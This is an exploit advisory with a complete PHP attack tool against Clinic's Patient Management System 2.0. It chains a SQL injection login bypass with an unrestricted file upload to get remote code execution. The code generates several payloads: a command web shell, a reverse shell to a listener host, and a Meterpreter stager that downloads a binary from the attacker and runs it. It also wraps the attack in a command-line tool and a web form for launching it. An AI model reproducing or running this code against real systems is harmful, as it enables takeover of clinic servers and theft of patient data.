📄 Clinic's Patient Management System 2.0 Remote Code Execution

=============================================================================================================================================
    | # Title     : Clinic's Patient Management System 2.0 Unauthenticated Admin Access                                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.sourcecodester.com/php-clinics-patient-management-system-source-code                                            |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/194570/ & 	CVE-2022-2297, CVE-2025-3096
    
    [+] Summary : 
                 Critical unauthenticated remote code execution vulnerability chain in Clinic's Patient Management System (v2.0) 
    			 combining SQL injection authentication bypass with unrestricted file upload functionality to achieve complete system compromise.
     
    [+]  POC : 
    
    php poc.php  or http://127.0.0.1/poc.php 
    
    <?php
    /*
     * by : indoushka
     */
    
    class ClinicPMSExploit {
        private $target;
        private $port;
        private $ssl;
        private $base_path;
        private $timeout;
        private $cookies;
        private $delete_files;
        
        public function __construct($target, $port = 80, $ssl = false, $base_path = '/pms/', $delete_files = true) {
            $this->target = $target;
            $this->port = $port;
            $this->ssl = $ssl;
            $this->base_path = rtrim($base_path, '/');
            $this->timeout = 30;
            $this->cookies = [];
            $this->delete_files = $delete_files;
        }
        
        /**
         * Check if target is vulnerable
         */
        public function check() {
            echo "[*] Checking Clinic Patient Management System vulnerability...\n";
            
            $res = $this->send_request('');
            
            if (!$res || $res['code'] != 200) {
                echo "[-] Unexpected response code from server\n";
                return "unknown";
            }
            
            if (strpos($res['body'], "Clinic's Patient Management System in PHP") !== false) {
                echo "[+] ✓ Clinic PMS detected\n";
                
                // Test SQL injection vulnerability
                if ($this->test_sqli()) {
                    echo "[+] ✓ SQL injection vulnerability confirmed\n";
                    return "vulnerable";
                } else {
                    echo "[-] SQL injection failed - application might be patched\n";
                    return "safe";
                }
            }
            
            echo "[-] Clinic PMS not detected\n";
            return "safe";
        }
        
        /**
         * Test SQL injection vulnerability
         */
        private function test_sqli() {
            $login_data = [
                'user_name' => "' or '1'='1' LIMIT 1;--",
                'password' => '',
                'login' => ''
            ];
            
            $res = $this->send_request('index.php', 'POST', [], http_build_query($login_data), [
                'Content-Type: application/x-www-form-urlencoded'
            ], true);
            
            if ($res && $res['code'] == 302) {
                $location = $this->extract_header($res['headers'], 'Location');
                if ($location && strpos($location, 'dashboard.php') !== false) {
                    return true;
                }
            }
            
            return false;
        }
        
        /**
         * Login using SQL injection
         */
        private function login_sqli() {
            echo "[*] Logging in using SQL injection...\n";
            
            $login_data = [
                'user_name' => "' or '1'='1' LIMIT 1;--",
                'password' => '',
                'login' => ''
            ];
            
            $res = $this->send_request('index.php', 'POST', [], http_build_query($login_data), [
                'Content-Type: application/x-www-form-urlencoded'
            ], true);
            
            if (!$res || $res['code'] != 302) {
                echo "[-] SQL injection login failed\n";
                return false;
            }
            
            $location = $this->extract_header($res['headers'], 'Location');
            if ($location && strpos($location, 'dashboard.php') !== false) {
                echo "[+] Successfully logged in using SQL injection\n";
                return true;
            }
            
            echo "[-] SQL injection login failed - unexpected redirect\n";
            return false;
        }
        
        /**
         * Upload PHP payload via profile picture upload
         */
        private function upload_payload($payload_type = 'cmd', $lhost = null, $lport = null) {
            echo "[*] Uploading PHP payload...\n";
            
            $username = $this->random_text(8);
            $password = $this->random_text(8);
            $filename = $this->random_text(8) . '.php';
            
            // Generate PHP payload
            $php_payload = $this->generate_php_payload($payload_type, $lhost, $lport);
            
            $boundary = "----WebKitFormBoundary" . $this->random_text(16);
            
            $data = "--{$boundary}\r\n";
            $data .= "Content-Disposition: form-data; name=\"hidden_id\"\r\n\r\n";
            $data .= "1\r\n";
            $data .= "--{$boundary}\r\n";
            
            $data .= "Content-Disposition: form-data; name=\"display_name\"\r\n\r\n";
            $data .= "{$username}\r\n";
            $data .= "--{$boundary}\r\n";
            
            $data .= "Content-Disposition: form-data; name=\"username\"\r\n\r\n";
            $data .= "{$username}\r\n";
            $data .= "--{$boundary}\r\n";
            
            $data .= "Content-Disposition: form-data; name=\"password\"\r\n\r\n";
            $data .= "{$password}\r\n";
            $data .= "--{$boundary}\r\n";
            
            $data .= "Content-Disposition: form-data; name=\"profile_picture\"; filename=\"{$filename}\"\r\n";
            $data .= "Content-Type: application/x-php\r\n\r\n";
            $data .= "{$php_payload}\r\n";
            $data .= "--{$boundary}\r\n";
            
            $data .= "Content-Disposition: form-data; name=\"save_user\"\r\n\r\n";
            $data .= "\r\n";
            $data .= "--{$boundary}--\r\n";
            
            $headers = [
                "Content-Type: multipart/form-data; boundary={$boundary}",
                "Content-Length: " . strlen($data)
            ];
            
            $res = $this->send_request('update_user.php', 'POST', ['user_id' => '1'], $data, $headers, true);
            
            if ($res && $res['code'] == 302) {
                $location = $this->extract_header($res['headers'], 'Location');
                if ($location && strpos($location, 'congratulation.php?goto_page=users.php&message=user update successfully') !== false) {
                    echo "[+] PHP payload uploaded successfully: {$filename}\n";
                    return $filename;
                }
            }
            
            echo "[-] Payload upload failed\n";
            return false;
        }
        
        /**
         * Generate PHP payload
         */
        private function generate_php_payload($type, $lhost, $lport) {
            switch ($type) {
                case 'reverse_shell':
                    if (!$lhost || !$lport) {
                        return $this->generate_cmd_shell();
                    }
                    return $this->generate_reverse_shell($lhost, $lport);
                    
                case 'web_shell':
                    return $this->generate_web_shell();
                    
                case 'meterpreter':
                    if (!$lhost || !$lport) {
                        return $this->generate_cmd_shell();
                    }
                    return $this->generate_meterpreter_stager($lhost, $lport);
                    
                case 'cmd':
                default:
                    return $this->generate_cmd_shell();
            }
        }
        
        /**
         * Generate command shell
         */
        private function generate_cmd_shell() {
            return '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>';
        }
        
        /**
         * Generate reverse shell
         */
        private function generate_reverse_shell($lhost, $lport) {
            $payload = '<?php ';
            $payload .= '$sock=fsockopen("' . $lhost . '",' . $lport . ');';
            $payload .= 'exec("/bin/sh -i <&3 >&3 2>&3");';
            $payload .= '?>';
            return $payload;
        }
        
        /**
         * Generate web shell
         */
        private function generate_web_shell() {
            return '<?php if(isset($_POST["cmd"])){ echo "<pre>"; system($_POST["cmd"]); echo "</pre>"; } ?>';
        }
        
        /**
         * Generate meterpreter stager
         */
        private function generate_meterpreter_stager($lhost, $lport) {
            $payload = '<?php ';
            $payload .= 'file_put_contents("/tmp/meterpreter.elf", file_get_contents("http://' . $lhost . ':8080/meterpreter.elf"));';
            $payload .= 'chmod("/tmp/meterpreter.elf", 0755);';
            $payload .= 'system("/tmp/meterpreter.elf");';
            $payload .= '?>';
            return $payload;
        }
        
        /**
         * Extract uploaded file path
         */
        private function extract_payload_path() {
            echo "[*] Extracting uploaded payload path...\n";
            
            $res = $this->send_request('update_user.php', 'GET', ['user_id' => '1']);
            
            if (!$res || $res['code'] != 200) {
                echo "[-] Failed to extract payload path\n";
                return false;
            }
            
            // Extract image src from HTML
            if (preg_match('/<img[^>]*alt="User Image"[^>]*src="([^"]+)"/', $res['body'], $matches)) {
                $payload_path = $matches[1];
                echo "[+] Found payload path: {$payload_path}\n";
                return $payload_path;
            }
            
            echo "[-] Could not find payload path in response\n";
            return false;
        }
        
        /**
         * Trigger the payload
         */
        private function trigger_payload($payload_path) {
            echo "[*] Triggering payload execution...\n";
            
            if (!$payload_path) {
                echo "[-] No payload path provided\n";
                return false;
            }
            
            $res = $this->send_request($payload_path, 'GET');
            
            if ($res) {
                echo "[+] Payload triggered - HTTP {$res['code']}\n";
                
                if ($this->delete_files) {
                    echo "[*] Note: File cleanup would be performed in full implementation\n";
                }
                
                return true;
            }
            
            echo "[-] Failed to trigger payload\n";
            return false;
        }
        
        /**
         * Logout from the application
         */
        private function logout() {
            echo "[*] Logging out...\n";
            
            $res = $this->send_request('logout.php', 'GET');
            
            if ($res && $res['code'] == 302) {
                $location = $this->extract_header($res['headers'], 'Location');
                if ($location && strpos($location, 'index.php') !== false) {
                    echo "[+] Successfully logged out\n";
                    $this->cookies = []; // Clear cookies
                    return true;
                }
            }
            
            echo "[-] Logout failed\n";
            return false;
        }
        
        /**
         * Execute full exploit chain
         */
        public function exploit($payload_type = 'cmd', $lhost = null, $lport = null) {
            echo "[*] Starting Clinic PMS exploitation chain...\n";
            
            // Step 1: Login via SQL injection
            if (!$this->login_sqli()) {
                echo "[-] Exploitation failed at login stage\n";
                return false;
            }
            
            // Step 2: Upload payload
            $filename = $this->upload_payload($payload_type, $lhost, $lport);
            if (!$filename) {
                echo "[-] Exploitation failed at payload upload stage\n";
                return false;
            }
            
            // Step 3: Extract payload path
            $payload_path = $this->extract_payload_path();
            if (!$payload_path) {
                echo "[-] Exploitation failed at path extraction stage\n";
                return false;
            }
            
            // Step 4: Trigger payload
            if ($this->trigger_payload($payload_path)) {
                echo "[+] ✓ Exploitation completed successfully\n";
                echo "[*] Payload should be executed\n";
                return true;
            }
            
            echo "[-] Exploitation failed at payload trigger stage\n";
            return false;
        }
        
        /**
         * Send HTTP request
         */
        private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = [], $save_cookies = false) {
            $url = $this->build_url($path);
            
            if ($method == 'GET' && !empty($params)) {
                $url .= '?' . http_build_query($params);
            }
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                CURLOPT_HEADER => true,
                CURLOPT_CUSTOMREQUEST => $method,
                CURLOPT_FOLLOWLOCATION => false
            ]);
            
            // Add POST data if provided
            if ($method == 'POST' && $data) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            }
            
            // Build headers
            $headers = array_merge([
                'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            ], $custom_headers);
            
            // Add cookies if available
            $cookie_header = $this->build_cookie_header();
            if ($cookie_header) {
                $headers[] = $cookie_header;
            }
            
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            
            // Save cookies if requested
            if ($save_cookies && $response) {
                $this->extract_cookies($response);
            }
            
            curl_close($ch);
            
            if ($response) {
                $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
                $headers = substr($response, 0, $header_size);
                $body = substr($response, $header_size);
                
                return [
                    'code' => $http_code,
                    'headers' => $headers,
                    'body' => $body
                ];
            }
            
            return false;
        }
        
        /**
         * Extract cookies from response headers
         */
        private function extract_cookies($response) {
            if (preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response, $matches)) {
                for ($i = 0; $i < count($matches[1]); $i++) {
                    $this->cookies[trim($matches[1][$i])] = $matches[2][$i];
                }
            }
        }
        
        /**
         * Extract specific header from headers string
         */
        private function extract_header($headers, $header_name) {
            $pattern = '/^' . $header_name . ':\s*(.*)$/mi';
            if (preg_match($pattern, $headers, $matches)) {
                return trim($matches[1]);
            }
            return null;
        }
        
        /**
         * Build cookie header from stored cookies
         */
        private function build_cookie_header() {
            if (empty($this->cookies)) {
                return null;
            }
            
            $cookie_parts = [];
            foreach ($this->cookies as $name => $value) {
                $cookie_parts[] = "{$name}={$value}";
            }
            
            return 'Cookie: ' . implode('; ', $cookie_parts);
        }
        
        /**
         * Generate random text
         */
        private function random_text($length = 8) {
            $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
            $result = '';
            for ($i = 0; $i < $length; $i++) {
                $result .= $chars[rand(0, strlen($chars) - 1)];
            }
            return $result;
        }
        
        /**
         * Build full URL
         */
        private function build_url($path) {
            $protocol = $this->ssl ? 'https' : 'http';
            $full_path = $this->base_path . $path;
            return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
        }
    }
    
    // CLI Interface
    if (php_sapi_name() === 'cli') {
        echo "
        ╔══════════════════════════════════════════════════════════════╗
        ║           Clinic Patient Management System RCE              ║
        ║               CVE-2022-2297 & CVE-2025-3096                 ║
        ║                     PHP Implementation                      ║
        ╚══════════════════════════════════════════════════════════════╝
        
        \n";
        
        $options = getopt("t:p:s:u:cP:L:H:", [
            "target:",
            "port:",
            "ssl",
            "uri:",
            "check",
            "payload:",
            "lhost:",
            "lport:"
        ]);
        
        $target = $options['t'] ?? $options['target'] ?? null;
        $port = $options['p'] ?? $options['port'] ?? 80;
        $ssl = isset($options['s']) || isset($options['ssl']);
        $base_uri = $options['u'] ?? $options['uri'] ?? '/pms/';
        $check_only = isset($options['c']) || isset($options['check']);
        $payload_type = $options['P'] ?? $options['payload'] ?? 'cmd';
        $lhost = $options['H'] ?? $options['lhost'] ?? null;
        $lport = $options['L'] ?? $options['lport'] ?? 4444;
        
        if (!$target) {
            echo "Usage: php clinic_pms_exploit.php [options]\n";
            echo "Options:\n";
            echo "  -t, --target    Target host (required)\n";
            echo "  -p, --port      Target port (default: 80)\n";
            echo "  -s, --ssl       Use SSL (default: false)\n";
            echo "  -u, --uri       Base URI path (default: /pms/)\n";
            echo "  -c, --check     Check only (don't exploit)\n";
            echo "  -P, --payload   Payload type: cmd, reverse_shell, web_shell, meterpreter (default: cmd)\n";
            echo "  -H, --lhost     Listener host for reverse shell\n";
            echo "  -L, --lport     Listener port for reverse shell (default: 4444)\n";
            echo "\nExamples:\n";
            echo "  php clinic_pms_exploit.php -t 192.168.1.100 -c\n";
            echo "  php clinic_pms_exploit.php -t clinic.example.com -P reverse_shell -H 10.0.0.5 -L 4444\n";
            exit(1);
        }
        
        $exploit = new ClinicPMSExploit($target, $port, $ssl, $base_uri);
        
        if ($check_only) {
            $result = $exploit->check();
            echo "\n[*] Result: {$result}\n";
        } else {
            if ($exploit->exploit($payload_type, $lhost, $lport)) {
                echo "[+] Exploitation completed successfully\n";
            } else {
                echo "[-] Exploitation failed\n";
            }
        }
        
    } else {
        // Web Interface
        $action = $_POST['action'] ?? '';
        
        if ($action === 'check' || $action === 'exploit') {
            $target = $_POST['target'] ?? '';
            $port = $_POST['port'] ?? 80;
            $ssl = isset($_POST['ssl']);
            $base_uri = $_POST['uri'] ?? '/pms/';
            $payload_type = $_POST['payload_type'] ?? 'cmd';
            $lhost = $_POST['lhost'] ?? '';
            $lport = $_POST['lport'] ?? 4444;
            
            if (empty($target)) {
                echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
            } else {
                $exploit = new ClinicPMSExploit($target, $port, $ssl, $base_uri);
                
                ob_start();
                if ($action === 'check') {
                    $exploit->check();
                } else {
                    $exploit->exploit($payload_type, $lhost, $lport);
                }
                $output = ob_get_clean();
                
                echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
            }
            
            echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
            
        } else {
            // Display the form
            echo '<!DOCTYPE html>
            <html>
            <head>
                <title>Clinic Patient Management System RCE</title>
                <meta charset="UTF-8">
                <style>
                    body { 
                        font-family: Arial, sans-serif; 
                        margin: 0; 
                        padding: 20px; 
                        background: #f5f5f5;
                    }
                    .container { 
                        max-width: 800px; 
                        margin: 0 auto; 
                        background: white;
                        padding: 30px;
                        border-radius: 8px;
                        box-shadow: 0 2px 10px rgba(0,0,0,0.1);
                    }
                    h1 { 
                        color: #333; 
                        border-bottom: 2px solid #007cba;
                        padding-bottom: 10px;
                    }
                    h3 {
                        color: #666;
                    }
                    .form-group { 
                        margin-bottom: 20px; 
                    }
                    label { 
                        display: block; 
                        margin-bottom: 8px; 
                        font-weight: bold;
                        color: #333;
                    }
                    input[type="text"], select { 
                        width: 100%; 
                        padding: 10px; 
                        border: 1px solid #ddd; 
                        border-radius: 4px; 
                        box-sizing: border-box;
                        font-size: 14px;
                    }
                    .checkbox-group {
                        display: flex;
                        align-items: center;
                        gap: 10px;
                    }
                    button { 
                        background: #007cba; 
                        color: white; 
                        padding: 12px 25px; 
                        border: none; 
                        border-radius: 4px; 
                        cursor: pointer; 
                        margin-right: 10px;
                        font-size: 16px;
                        transition: background 0.3s;
                    }
                    button:hover {
                        background: #005a87;
                    }
                    .danger { 
                        background: #dc3545; 
                    }
                    .danger:hover {
                        background: #c82333;
                    }
                    .info { 
                        background: #17a2b8; 
                    }
                    .info:hover {
                        background: #138496;
                    }
                    .warning-box {
                        background: #fff3cd;
                        border: 1px solid #ffeaa7;
                        color: #856404;
                        padding: 15px;
                        border-radius: 4px;
                        margin: 20px 0;
                    }
                    .info-box {
                        background: #d1ecf1;
                        border: 1px solid #bee5eb;
                        color: #0c5460;
                        padding: 15px;
                        border-radius: 4px;
                        margin: 20px 0;
                    }
                </style>
            </head>
            <body>
                <div class="container">
                    <h1>Clinic Patient Management System RCE</h1>
                    <h3>CVE-2022-2297 & CVE-2025-3096 - SQLi to RCE</h3>
                    
                    <div class="warning-box">
                        <strong>⚠️ Educational Use Only:</strong> This tool demonstrates critical vulnerabilities in Clinic PMS.
                        Use only on systems you own or have explicit permission to test.
                    </div>
                    
                    <form method="post">
                        <div class="form-group">
                            <label for="target">Target Host:</label>
                            <input type="text" id="target" name="target" placeholder="192.168.1.100 or clinic.example.com" required>
                        </div>
                        
                        <div class="form-group">
                            <label for="port">Port:</label>
                            <input type="text" id="port" name="port" value="80">
                        </div>
                        
                        <div class="form-group">
                            <label for="uri">Base URI:</label>
                            <input type="text" id="uri" name="uri" value="/pms/">
                        </div>
                        
                        <div class="form-group">
                            <div class="checkbox-group">
                                <input type="checkbox" id="ssl" name="ssl">
                                <label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label for="payload_type">Payload Type:</label>
                            <select id="payload_type" name="payload_type">
                                <option value="cmd">Command Shell</option>
                                <option value="reverse_shell">Reverse Shell</option>
                                <option value="web_shell">Web Shell</option>
                                <option value="meterpreter">Meterpreter</option>
                            </select>
                        </div>
                        
                        <div class="form-group">
                            <label for="lhost">Listener Host (for reverse shell):</label>
                            <input type="text" id="lhost" name="lhost" placeholder="Your IP address: 192.168.1.100">
                        </div>
                        
                        <div class="form-group">
                            <label for="lport">Listener Port (for reverse shell):</label>
                            <input type="text" id="lport" name="lport" value="4444">
                        </div>
                        
                        <button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
                        <button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
                    </form>
                    
                    <div class="info-box">
                        <h3>About the CVEs:</h3>
                        <p><strong>CVE-2022-2297:</strong> SQL Injection in login portal</p>
                        <p><strong>CVE-2025-3096:</strong> File upload vulnerability in user profile</p>
                        <p><strong>Affected:</strong> Clinic Patient Management System 1.0/2.0</p>
                        <p><strong>Authentication:</strong> None required (SQL injection bypass)</p>
                        <p><strong>Impact:</strong> Remote Code Execution</p>
                        <p><strong>Exploit Chain:</strong> SQL Injection → Admin Login → File Upload → RCE</p>
                    </div>
                </div>
            </body>
            </html>';
        }
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================